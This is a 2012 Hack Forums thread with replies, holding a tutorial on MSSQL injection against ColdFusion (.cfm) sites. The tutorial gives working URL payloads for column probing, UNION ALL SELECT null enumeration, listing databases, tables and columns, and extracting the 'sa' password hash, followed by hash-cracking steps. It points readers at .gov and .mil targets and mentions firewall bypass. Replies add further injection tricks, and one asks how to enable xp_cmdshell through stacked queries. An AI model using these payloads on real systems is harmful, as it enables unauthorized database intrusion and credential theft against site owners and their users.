

Forum:[Hack Forums](#)

Thread: [\[Tutorial by Zyklon B\] MSSQL injection \(.cfm - Null based\) - Part 1/3](#)

Error667 - April 10, 2012, 5:35 pm

Hello hackers,

Well, i saw that HF was very poor in less common injection methods, so i would contribute while writing this tutorial..

First part : The first way you should process - This thread!

Second part : Commands executions & worms

Third part : A video

Link to the second part: <https://hackforums.net/showthread.php?tid=2396949>

Introduction.

MSSQL (Microsoft SQL Server) is a database management system, so it means that the target is hosted on a computer/server. This is quite common on big websites, especially on .mil, .gov websites and big companies.

This type of attack reputed to be the most dangerous SQL injection ever. With advanced methods, you can do much more : not only an data extraction, but commands execution and sql worms as well.

Many times, the targets are hosted on these operating systems :

Windows server 2003

Windows server 2008 / Windows server 2008 R2

Also, most common versions of Microsoft SQL Server are 2005 & 2008. The 2012 one has just been released 1 month ago, so it's not really used at the moment.

Let's finish by talking about .cfm (Coldfusion) extensions : many important targets are using that. So, with google, you know what to do...: filetype:cfm

1.0 - Let's begin

Imagine that you've found a vulnerable target to MsSQLi :

Code `http://www.site.gov/albums/view.cfm?uid=1`

1.1 - Try to find columns

Just use the basic ORDER BY function at the beginning.

Code `http://www.site.gov/albums/view.cfm?uid=1 order by 8--Error.`

Code `http://www.site.gov/albums/view.cfm?uid=1 order by 7--Works.`

1.2 - Select these columns

A -

Note: you should use UNION ALL SELECT instead of UNION SELECT, works better sometimes.

Code `http://www.site.gov/albums/view.cfm?uid=1 UNION ALL SELECT
null,null,null,null,null,null,null--
B -`

Method A won't work ? Try to null the uid value.

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT
null,null,null,null,null,null,null--
--`

So the webpage loads without error, perfect. If not, remember that MySQL stay an SQL injection, so just check all the other threads about WAF Bypassing, Filter Evasion, ...

1.3 Finding version.

Easy, but just check for the bold number before, if there is one. If not, just try different columns.

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT
null,@version,null,null,null,null,null--`
Well, many versions can appears.
To take an example, you may see, in the case of SYBASE :

Adaptive Server Enterprise/15.2/QBA 19201 SMP ESD#4/P/NT (IX86)/Windows 2003/..(and so on)

1.4 - Find database name

Most of the time, it will contains several databases (at least 4).
Just follow my links :

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT
null,DB_NAME(1),null,null,null,null,null FROM master..sysdatabases--`
1st database name appears.

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT
null,DB_NAME(2),null,null,null,null,null FROM master..sysdatabases--` 2nd database name appears.
And so on.

Note: to select the current database, use the DB_NAME() instead of DB_NAME(N).

1.5 - Find tables name in a database

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT
null,name,null,null,null,null,null FROM DB_YOU_FOUND..sysobjects WHERE id=1--`
First table.

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT
null,name,null,null,null,null,null FROM DB_YOU_FOUND..sysobjects WHERE id=2--`
Second one.

Just continue to increase the ID value. If you're too high (table number do not exists), you will surely get an error.

1.6 - Finding column name

A method used would be this one add "ORDER BY" function

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT null,name,null,null,null,null,null FROM syscolumns WHERE id=2 order by 1`--So, it will select the first column of the 2nd table in the ascending order.

Just change the ID value to change of table, and of ORDER BY N number to change of column.

Note: Sometimes, a firewall will block this request ; You will need to go into a descending order to bypass this. Just add DESC after the ORDER BY N. Example :

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT null,name,null,null,null,null,null FROM syscolumns WHERE id=2 order by 1 DESC`--

1.7 - Extracting data from columns

You need to know that GROUP_CONCAT function do not exists, you can get the data one per one. Basically, it's the same way as for a basic SQLi :

Example for MSSQL 2000 :

Code `http://www.site.gov/albums/view.cfm?uid=null UNION ALL SELECT null,password_hash,null,null,null,null,null FROM sys.sql_logins WHERE name='sa'`--

I need to understand this better before posting all : it would be stupid to say something bad. Will be updated as soon as possible.

1.8 - Passwords hash

MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. Anyway, if you're searching for the admin passwords (default admin username is SA), you could find a strange hash, which looks like that :

MSSQL 2005 :

`0x5C63305C30375C66655D5C6630695C61355C38635E595D425C39645C39385C1336765C61317A5C63656C4B5C65615C30655C39635C6338745C66614C31635C65625C61305C31315C31305C30325C61315C38355C6439365F275C63375C62655C6362`

Try hashcat, it is able to crack it.

MSSQL 2000 :

`0x0100EA1ED32230A0DC42EE75F0A8D98234E26DDFF9720590BB687641F98DE93C45E05E6406A0E1BE291FA4D8205C`

What you must do is to cut the hash, in the following 4 parts :

`0x0100`

`EA1ED322`

`30A0DC42EE75F0A8D98234E26DDFF9720590BB68` (case sensitive hash, 40 chars)

`7641F98DE93C45E05E6406A0E1BE291FA4D8205C`

So, the thing you need in this MSSQL2000 hash this is :

30A0DC42EE75F0A8D98234E26DDFF9720590BB68

To crack that, there is a good software for this, called "PasswordsPro :
<http://www.insidepro.com/eng/passwordspro.shtml>

--

I hope it's well explained. Will do the 2 last parts of the tutorial soon.
Regards,

Zyklon B

William Smash - April 10, 2012, 5:36 pm

Damn! Props to you bro, nice tut :)

BeggFoMercy - April 10, 2012, 5:38 pm

Nicely written tutorial , keep it up ... xD

Sasori - April 10, 2012, 5:40 pm

Not sure why you mentioned HF is lacking these types of tutorials.
Maybe because you posted this in the wrong section? Yep.

kamz89 - April 10, 2012, 7:34 pm

Nice tutorial. Nicely written and well detailed. It's very helpful, good job.

Pr3nK - April 11, 2012, 12:06 am

Really interesting, thanks for your great tutorial

Th3PonyWizard - April 11, 2012, 1:09 am

Wrong section, should be in the SQLi section.
Great tutorial though, I'd suggest using pics next time

Error667 - April 11, 2012, 6:01 am

(Apr 10, 2012 05:40 PM)Sasori Wrote: [\[CITE\]](#) Not sure why you mentioned HF is lacking these types of tutorials.

Maybe because you posted this in the wrong section? Yep.

(Apr 11, 2012 01:09 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Wrong section, should be in the SQLi section.

Great tutorial though, I'd suggest using pics next time

Well, i know that many web-hacking tutorials are in this section, as seen on the following link :
<https://hackforums.net/search.php?action=results&sid=f5f377a29f104fbaa5e1a02729234202&sortby=lastpost&order=desc>

So, i do not really consider that i'm in the wrong section..
Anyway ,thanks for posting.

RIPPER - April 11, 2012, 6:22 am

great shit indeed bro..Thx a bunch btw I got some strange error
The web site you are accessing has experienced an unexpected error.
Please contact the website administrator.

The following information is meant for the website developer for debugging purposes.
Error Occurred While Processing Request
The cause of this output exception was that:

coldfusion.tagext.sql.QueryParamTag\$InvalidDataException: Invalid data value null order by 1-- exceeds maxlength setting 6..

Plz help me bro

and btw what is different between cfm pages and other pages???It seems there is only a little difference in names but not major ones

Error667 - April 11, 2012, 6:30 am

(Apr 11, 2012 06:22 AM)RIPPER Wrote: [\[CITE\]](#) great shit indeed bro..Thx a bunch btw I got some strange error

The web site you are accessing has experienced an unexpected error.
Please contact the website administrator.

The following information is meant for the website developer for debugging purposes.

Error Occurred While Processing Request

The cause of this output exception was that:

coldfusion.tagext.sql.QueryParamTag\$InvalidDataException: Invalid data value null order by 1-- exceeds maxlength setting 6..

Plz help me bro

and btw what is different between cfm pages and other pages???It seems there is only a little difference in names but not major ones

Strange. But as you probably know, there're tons of different injections even with .cfm websites, so maybe does it is not null-based ?

Send me a PM, i will take a look.

RIPPER - April 11, 2012, 7:10 am

(Apr 11, 2012 06:30 AM)Zyklon B Wrote: [\[CITE\]](#) Strange. But as you probably know, there're tons of different injections even with .cfm websites, so maybe does it is not null-based ?

Send me a PM, i will take a look.

Pm'ed you bro..Hope you solve this shit soon..Btw i understood that there was a maximum limit of characters but then i want to do this shit real bad

benzi - April 11, 2012, 7:25 am

nice tutorial,good job.

you can use 'rownum' instead of 'limit'.

id=null select 1 from table where rownum < 9--

or with rowcount

id=null set rowcount 10 select 1 from table-- ?

anonymous6969 - April 11, 2012, 9:38 am

thanks bro nice tutorial..keep it up bro

any body here knows how to get email files at the website?thanks..need help please..

Error667 - April 11, 2012, 5:08 pm

Thanks guys, that's heartwarming. Will write soon the second part of the tutorial.

Sw1x - April 11, 2012, 11:22 pm

Thanks for this, another method I got on my list. :)

This is really useful, I hope.

jontaon - *July 31, 2012, 9:29 pm*

Great tut. Want to appreciate for contribution to HF. wish you live long dude. Cheers.

johnperter - *August 10, 2020, 10:13 pm*

hello Error667 , can u help enable xp_cmd_shell in cfm

example : edit.cfm?id=1;EXEC sp_configure 'show advanced options', 1;

don't work . Maybe need change to hex or use cast but i dont known

can u help me , thanks alot